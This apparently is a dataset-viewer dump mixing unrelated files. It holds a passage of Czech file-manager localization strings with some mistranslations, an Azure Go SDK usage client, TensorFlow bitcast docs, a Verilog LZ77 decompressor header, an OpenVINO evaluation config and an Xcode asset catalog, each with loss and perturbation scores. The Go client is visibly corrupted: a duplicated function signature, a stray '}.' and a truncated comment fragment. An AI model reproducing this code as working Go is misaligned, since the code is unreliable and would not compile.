"system_group_remove_tips" => "Opravdu si přejete smazat skupinu uživatelů?<br/>Po odebrání uživatele patřícího do skupiny budou odstraněny, podskupina přesun do kořenového adresáře",
"system_group_select" => "Vyberte oddělení",
"system_group_select_result" => "Členové patří do těchto sektorů",
"system_member_action" => "Správa uživatelů",
"system_member_add" => "nový uživatel",
"system_member_role" => "oprávnění role",
"system_member_role_select" => "vybrat",
"system_member_password_tips" => "Nevyplňujte neupravila",
"system_set_home_path" => "Custom Catalog",
"system_set_home_path_tips" => "Výchozí adresář je prázdný",
"system_member_group" => "Hotel Group",
"system_member_group_edit" => "Upravit skupinu",
"system_member_remove" => "smazat uživatele",
"system_member_remove_tips" => "Potvrdit smazání uživatele?<br/>Po odebrání adresář uživatele bude zcela vymazán",
"system_member_set_role" => "Pro potvrzení změny vybraných oprávnění skupin uživatelů?",
"system_member_remove_group" => "Určete vybraný uživatel bude odstraněna z této skupiny?",
"system_member_import" => "Bulk add",
"system_member_import_desc" => "Jeden uživatel na řádek,<br/>již existují jsou
| null | 0
|
{
"advantage_score_max": 1.2931032180786133,
"advantage_score_mean": 1.2931032180786133,
"advantage_score_min": 1.2931032180786133,
"advantage_score_std": 0,
"advantage_scores": [
1.2931032180786133
],
"baseline_doc_loss": 1.4930071830749512,
"baseline_truncated": false,
"doc_advantage_score": 1.2119537591934204,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 1.2319011688232422,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 5753,
"total_sentences": 11,
"truncated": false
}
|
package compute
// Copyright (c) Microsoft and contributors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.
import (
"context"
"github.com/Azure/go-autorest/autorest"
"github.com/Azure/go-autorest/autorest/azure"
"github.com/Azure/go-autorest/autorest/validation"
"github.com/Azure/go-autorest/tracing"
"net/http"
)
// UsageClient is the compute Client
type UsageClient struct {
BaseClient
}
// NewUsageClient creates an instance of the UsageClient client.
func NewUsageClient(subscriptionID string) UsageClient {
return NewUsageClientWithBaseURI(DefaultBaseURI, subscriptionID)
}
// NewUsageClientWithBaseURI creates an instance of the UsageClient client using a custom endpoint. Use this when
// interacting with an Azure cloud that uses a non-standard base URI (sovereign clouds, Azure stack).
func NewUsageClientWithBaseURI(baseURI string, subscriptionID string) UsageClient {
return UsageClient{NewWithBaseURI(baseURI, subscriptionID)}
}
// List gets, for the specified location, the current compute resource usage information as well as the limits for
// compute resources under the subscription.
// Parameters:
// location - the location for which resource usage is queried.
func (client UsageClient) List(ctx context.Context, location string) (result ListUsagesResultPage, err error) {
if tracing.IsEnabled() {
ctx = tracing.StartSpan(ctx, fqdn+"/UsageClient.List")
defer func() {
sc := -1
if result.lur.Response.Response != nil {
sc = result.lur.Response.Response.StatusCode
}
tracing.EndSpan(ctx, sc, err)
}()
}
if err := validation.Validate([]validation.Validation{
{TargetValue: location,
Constraints: []validation.Constraint{{Target: "location", Name: validation.Pattern, Rule: `^[-\w\._]+$`, Chain: nil}}}}); err != nil {
return result, validation.NewError("compute.UsageClient", "List", err.Error())
}
result.fn = client.listNextResults
req, err := client.ListPreparer(ctx, location)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", nil, "Failure preparing request")
return
}
resp, err := client.ListSender(req)
if err != nil {
result.lur.Response = autorest.Response{Response: resp}
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", resp, "Failure sending request")
return
}
result.lur, err = client.ListResponder(resp)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "List", resp, "Failure responding to request")
}
return
}.
func (client UsageClient) ListPreparer(ctx func (client UsageClient) ListPreparer(ctx context.Context, location string) (*http.Request, error) {
pathParameters := map[string]interface{}{
"location": autorest.Encode("path", location),
"subscriptionId": autorest.Encode("path", client.SubscriptionID),
}
const APIVersion = "2019-12-01"
queryParameters := map[string]interface{}{
"api-version": APIVersion,
}
preparer := autorest.CreatePreparer(
autorest.AsGet(),
autorest.WithBaseURL(client.BaseURI),
autorest.WithPathParameters("/subscriptions/{subscriptionId}/providers/Microsoft.Compute/locations/{location}/usages", pathParameters),
autorest.WithQueryParameters(queryParameters))
return preparer.Prepare((&http.Request{}).WithContext(ctx))
}. Body if it receives an error.
func (client UsageClient) ListSender(req *http.Request) (*http.Response, error) {
return client.Send(req, azure.DoRetryWithRegistration(client.Client))
}
// ListResponder handles the response to the List request. The method always
// closes the http.Response Body.
func (client UsageClient) ListResponder(resp *http.Response) (result ListUsagesResult, err error) {
err = autorest.Respond(
resp,
client.ByInspecting(),
azure.WithErrorUnlessStatusCode(http.StatusOK),
autorest.ByUnmarshallingJSON(&result),
autorest.ByClosing())
result.Response = autorest.Response{Response: resp}
return
}
// listNextResults retrieves the next set of results, if any.
func (client UsageClient) listNextResults(ctx context.Context, lastResults ListUsagesResult) (result ListUsagesResult, err error) {
req, err := lastResults.listUsagesResultPreparer(ctx)
if err != nil {
return result, autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", nil, "Failure preparing next results request")
}
if req == nil {
return
}
resp, err := client.ListSender(req)
if err != nil {
result.Response = autorest.Response{Response: resp}
return result, autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", resp, "Failure sending next results request")
}
result, err = client.ListResponder(resp)
if err != nil {
err = autorest.NewErrorWithError(err, "compute.UsageClient", "listNextResults", resp, "Failure responding to next results request")
}
return
}
// ListComplete enumerates all values, automatically crossing page boundaries as required.
func (client UsageClient) ListComplete(ctx context.Context, location string) (result ListUsagesResultIterator, err error) {
if tracing.IsEnabled() {
ctx = tracing.StartSpan(ctx, fqdn+"/UsageClient.List")
defer func() {
sc := -1
if result.Response().Response.Response != nil {
sc = result.page.Response().Response.Response.StatusCode
}
tracing.EndSpan(ctx, sc, err)
}()
}
result.page, err = client.List(ctx, location)
return
}
| null | 2
|
{
"advantage_score_max": 4.368411064147949,
"advantage_score_mean": 3.06548810005188,
"advantage_score_min": 1.1616884469985962,
"advantage_score_std": 1.3599565029144287,
"advantage_scores": [
4.368411064147949,
4.339409351348877,
2.3924431800842285,
1.1616884469985962
],
"baseline_doc_loss": 0.4901689291000366,
"baseline_truncated": false,
"doc_advantage_score": 10.373723030090332,
"length_change_ratio": 0.9617021276595744,
"net_length_change_chars": -81,
"original_sentences_length_chars": 2115,
"replacement_paraphrases_length_chars": 2034,
"sentences_perturbed": 2,
"target_doc_loss": 0.04725101217627525,
"target_truncated": false,
"threshold_passing_sentences": 4,
"total_doc_length_chars": 6103,
"total_sentences": 20,
"truncated": false
}
|
### `tf.bitcast(input, type, name=None)` {#bitcast}
Bitcasts a tensor from one type to another without copying data.
Given a tensor `input`, this operation returns a tensor that has the same buffer
data as `input` with datatype `type`.
If the input datatype `T` is larger than the output datatype `type` then the
shape changes from [...] to [..., sizeof(`T`)/sizeof(`type`)].
If `T` is smaller than `type`, the operator requires that the rightmost
dimension be equal to sizeof(`type`)/sizeof(`T`). The shape then goes from
[..., sizeof(`type`)/sizeof(`T`)] to [...].
##### Args:
* <b>`input`</b>: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int64`, `int32`, `uint8`, `uint16`, `int16`, `int8`, `complex64`, `complex128`, `qint8`, `quint8`, `qint32`, `half`.
* <b>`type`</b>: A `tf.DType` from: `tf.float32, tf.float64, tf.int64, tf.int32, tf.uint8, tf.uint16, tf.int16, tf.int8, tf.complex64, tf.complex128, tf.qint8, tf.quint8, tf.qint32, tf.half`.
* <b>`name`</b>: A name for the operation (optional).
##### Returns:
A `Tensor` of type `type`.
| null | 0
|
{
"advantage_score_max": 4.621857643127441,
"advantage_score_mean": 3.780144214630127,
"advantage_score_min": 2.9384310245513916,
"advantage_score_std": 0.8417133092880249,
"advantage_scores": [
4.621857643127441,
2.9384310245513916
],
"baseline_doc_loss": 0.2531178295612335,
"baseline_truncated": false,
"doc_advantage_score": 0.3466028571128845,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.7302820086479187,
"target_truncated": false,
"threshold_passing_sentences": 2,
"total_doc_length_chars": 1088,
"total_sentences": 10,
"truncated": false
}
|
/*************************************************************************
*
* Copyright © Microsoft Corporation. All rights reserved.
* Copyright © Broadcom Limited. All rights reserved.
* Licensed under the MIT License.
*
*************************************************************************/
`include "ccx_std.vh"
`include "cr_xp10_decomp.vh"
module cr_xp10_decomp_lz77 (
bimc_odat, bimc_osync, lz_fhp_prefix_hdr_ready,
lz_fhp_pre_prefix_ready, lz_fhp_usr_prefix_ready,
lz_fhp_dbg_data_ready, lz_mtf_dp_ready, lz_be_dp_valid,
lz_be_dp_bus, lz_bytes_decomp, lz_hb_bytes, lz_hb_head_ptr,
lz_hb_tail_ptr, lz_local_bytes, xp10_decomp_lz77d_stat_events,
lz77_hb_ro_uncorrectable_ecc_error_a,
lz77_hb_ro_uncorrectable_ecc_error_b,
lz77_pfx0_ro_uncorrectable_ecc_error,
lz77_pfx1_ro_uncorrectable_ecc_error,
lz77_pfx2_ro_uncorrectable_ecc_error,
clk, rst_n, ovstb, lvm, mlvm, bimc_idat, bimc_isync, bimc_rst_n,
fhp_lz_prefix_hdr_valid, fhp_lz_prefix_hdr_bus,
fhp_lz_prefix_valid, fhp_lz_prefix_dp_bus, fhp_lz_dbg_data_valid,
fhp_lz_dbg_data_bus, mtf_lz_dp_valid, mtf_lz_dp_bus,
be_lz_dp_ready, sw_LZ_BYPASS_CONFIG
);
import crPKG::*;
import cr_xp10_decomp_regsPKG::*;
import cr_xp10_decompPKG::*;
input clk;
input rst_n;
input ovstb;
input lvm;
input mlvm;
input bimc_idat;
input bimc_isync;
input bimc_rst_n;
output logic bimc_odat;
output logic bimc_osync;
input fhp_lz_prefix_hdr_valid;
input fhp_lz_prefix_hdr_bus_t fhp_lz_prefix_hdr_bus;
output lz_fhp_prefix_hdr_ready;
input fhp_lz_prefix_valid;
input fhp_lz_prefix_dp_bus_t fhp_lz_prefix_dp_bus;
output logic lz_fhp_pre_prefix_ready;
output logic lz_fhp_usr_prefix_ready;
input fhp_lz_dbg_data_valid;
input lz_symbol_bus_t fhp_lz_dbg_data_bus;
output lz_fhp_dbg_data_ready;
input mtf_lz_dp_valid;
input lz_symbol_bus_t mtf_lz_dp_bus;
output lz_mtf_dp_ready;
output lz_be_dp_valid;
output lz_be_dp_bus_t lz_be_dp_bus;
input be_lz_dp_ready;
input sw_LZ_BYPASS_CONFIG;
output logic [16:0] lz_bytes_decomp;
output logic [16:0] lz_hb_bytes;
output logic [11:0] lz_hb_head_ptr;
output logic [11:0] lz_hb_tail_ptr;
output logic [16:0] lz_local_bytes;
output [LZ77D_STAT_EVENTS_LIMIT:LZ77D_STAT_EVENTS_BASE] xp10_decomp_lz77d_stat_events;
output logic lz77_hb_ro_uncorrectable_ecc_error_a;
output logic lz77_hb_ro_uncorrectable_ecc_error_b;
output logic lz77_pfx0_ro_uncorrectable_ecc_error;
output logic lz77_pfx1_ro_uncorrectable_ecc_error;
output logic lz77_pfx2_ro_uncorrectable_ecc_error;
logic [127:0] ag_bm_hb_data;
logic ag_ep_hb_wr;
logic ag_ep_head_moved;
logic ag_hb_eof;
logic [11:0] ag_hb_raddr;
logic ag_hb_rd;
logic [11:0] ag_hb_waddr;
logic [127:0] ag_hb_wdata;
logic ag_hb_wr;
logic ag_pl_eof;
logic [2:0] bm_do_even_bytes_valid;
logic [1:0] bm_do_even_type;
logic bm_do_even_valid;
logic [63:0] bm_do_even_word;
logic [2:0] bm_do_odd_bytes_valid;
logic [1:0] bm_do_odd_type;
logic bm_do_odd_valid;
logic [63:0] bm_do_odd_word;
logic bm_ep_copy_done;
logic bm_ep_pause;
logic [127:0] do_ag_hb_wdata;
logic do_ag_hb_wr;
logic do_bm_pause;
logic ep_ag_eof;
logic ep_ag_hb_1st_rd;
logic [11:0] ep_ag_hb_num_words;
logic ep_ag_hb_rd;
logic [15:0] ep_bm_copy_length;
logic [4:0] ep_bm_copy_offset;
logic ep_bm_copy_valid;
logic ep_bm_eob;
logic ep_bm_eof;
logic [31:0] ep_bm_eof_err_code;
logic [3:0] ep_bm_from_offset;
logic [31:0] ep_bm_lit_data;
logic ep_bm_lit_valid;
logic [5:0] ep_bm_lwl;
logic ep_bm_lwrd_valid;
logic [1:0] ep_bm_num_lit;
logic ep_bm_ptr_valid;
logic [3:0] ep_bm_to_offset;
logic ep_if_entry_done;
logic ep_if_load_trace_bit;
logic ep_if_trace_bit;
logic [127:0] hb_ag_rdata;
sym_t if_ep_sym;
logic if_ep_sym_valid;
logic pl_ag_load_tail;
logic [12:0] pl_ag_tail_ptr;
logic [16:0] pl_ep_prefix_cnt;
logic pl_ep_prefix_load;
logic pl_ep_trace_bit;
logic pl_hb_pfx
| null | 1
|
{
"advantage_score_max": 1.613044261932373,
"advantage_score_mean": 1.613044261932373,
"advantage_score_min": 1.613044261932373,
"advantage_score_std": 0,
"advantage_scores": [
1.613044261932373
],
"baseline_doc_loss": 1.1012400388717651,
"baseline_truncated": false,
"doc_advantage_score": 1.3417364358901978,
"length_change_ratio": 1.0833333333333333,
"net_length_change_chars": 4,
"original_sentences_length_chars": 48,
"replacement_paraphrases_length_chars": 52,
"sentences_perturbed": 1,
"target_doc_loss": 0.8207573294639587,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 5519,
"total_sentences": 5,
"truncated": false
}
|
models:
- name: retinaface-anti-cov
launchers:
- framework: dlsdk
tags:
- FP32
model: public/retinaface-anti-cov/FP32/retinaface-anti-cov.xml
weights: public/retinaface-anti-cov/FP32/retinaface-anti-cov.bin
adapter:
type: retinaface
bboxes_outputs:
- face_rpn_bbox_pred_stride32
- face_rpn_bbox_pred_stride16
- face_rpn_bbox_pred_stride8
scores_outputs:
- face_rpn_cls_prob_reshape_stride32
- face_rpn_cls_prob_reshape_stride16
- face_rpn_cls_prob_reshape_stride8
type_scores_outputs:
- face_rpn_type_prob_reshape_stride32
- face_rpn_type_prob_reshape_stride16
- face_rpn_type_prob_reshape_stride8
- framework: dlsdk
tags:
- FP16
model: public/retinaface-anti-cov/FP16/retinaface-anti-cov.xml
weights: public/retinaface-anti-cov/FP16/retinaface-anti-cov.bin
adapter:
type: retinaface
bboxes_outputs:
- face_rpn_bbox_pred_stride32
- face_rpn_bbox_pred_stride16
- face_rpn_bbox_pred_stride8
scores_outputs:
- face_rpn_cls_prob_reshape_stride32
- face_rpn_cls_prob_reshape_stride16
- face_rpn_cls_prob_reshape_stride8
type_scores_outputs:
- face_rpn_type_prob_reshape_stride32
- face_rpn_type_prob_reshape_stride16
- face_rpn_type_prob_reshape_stride8
datasets:
- name: wider
preprocessing:
- type: resize
size: 640
postprocessing:
- type: cast_to_int
- type: clip_boxes
size: 1024
apply_to: annotation
- type: filter
apply_to: annotation
height_range: 64, 1024
is_empty: True
metrics:
- type: map
prediction_source: mask_detection
ignore_difficult: True
include_boundaries: False
allow_multiple_matches_per_ignored: False
distinct_conf: False
global_definitions: ../dataset_definitions.yml
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
{
"images" : [
{
"idiom" : "iphone",
"scale" : "1x"
},
{
"idiom" : "iphone",
"filename" : "PlayerBotWalk_12_02_100.png",
"scale" : "2x"
},
{
"idiom" : "iphone",
"filename" : "PlayerBotWalk_12_02_180.png",
"scale" : "3x"
},
{
"idiom" : "ipad",
"filename" : "PlayerBotWalk_12_02_120.png",
"scale" : "1x"
},
{
"idiom" : "ipad",
"filename" : "PlayerBotWalk_12_02_240.png",
"scale" : "2x"
},
{
"idiom" : "tv",
"filename" : "PlayerBotWalk_12_02_169.png",
"scale" : "1x"
},
{
"idiom" : "mac",
"filename" : "PlayerBotWalk_12_02_225.png",
"scale" : "1x"
},
{
"idiom" : "mac",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.